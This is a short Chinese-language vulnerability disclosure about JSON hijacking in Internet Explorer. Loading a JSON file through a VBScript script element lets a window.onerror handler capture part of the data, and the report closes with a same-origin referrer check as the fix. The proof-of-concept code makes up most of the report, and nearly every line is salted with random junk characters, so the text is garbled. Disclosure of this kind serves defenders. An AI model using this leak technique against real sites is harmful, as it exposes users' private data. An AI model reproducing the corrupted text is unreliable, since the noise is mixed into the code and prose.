简要描述: \/ U3 N/ S& I7 D* g, K6 z2 t
# d7 E! i+ _6 H6 x8 t5 ^
由于某些资源容器对数据处理不当导致json劫持漏洞.
1 j: a, {- J4 e8 ]详细说明:9 w) [" E! j* a# x5 v( K, n! e0 e
由于ie支持vbscript,所以script元素可以指定成vbscript语言:7 f+ g W/ @7 V4 }! b( I
<script language=vbscript></script>
% A, `9 ^" Y; B8 L
, q" M& a" y" ~当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.$ c) w* k( N) F% A+ W5 n X
漏洞证明:5 o! j6 z2 F* ] l) z4 U/ f
<script>. v$ j" g1 Q, P3 ]) z L
window.onerror=function(_){! K# v8 o7 M5 ^3 o$ K/ \0 d; ^
alert(_)" `1 [+ Y; y3 h, g$ J
}
i& ~# S k& j. N</script>
3 @8 O9 W$ C" `" T% U<script language=vbscript src=1.json></script>$ `5 J2 C' c. Z" S: B
( b! ]$ |, f1 h3 X4 N" A7 c 9 I1 |* {2 Q. e% W+ _
1.json:
0 G, U+ t- T2 X2 Q* y; k[{"name":"sogili","age":19}]6 z' p. ?$ t5 @$ ~% G" K/ C# x2 ^2 n$ a( A
修复方案:
" C/ \4 l* f# h$ h网站业务对于这个问题可以通过验证referrer是否为同源来防御 |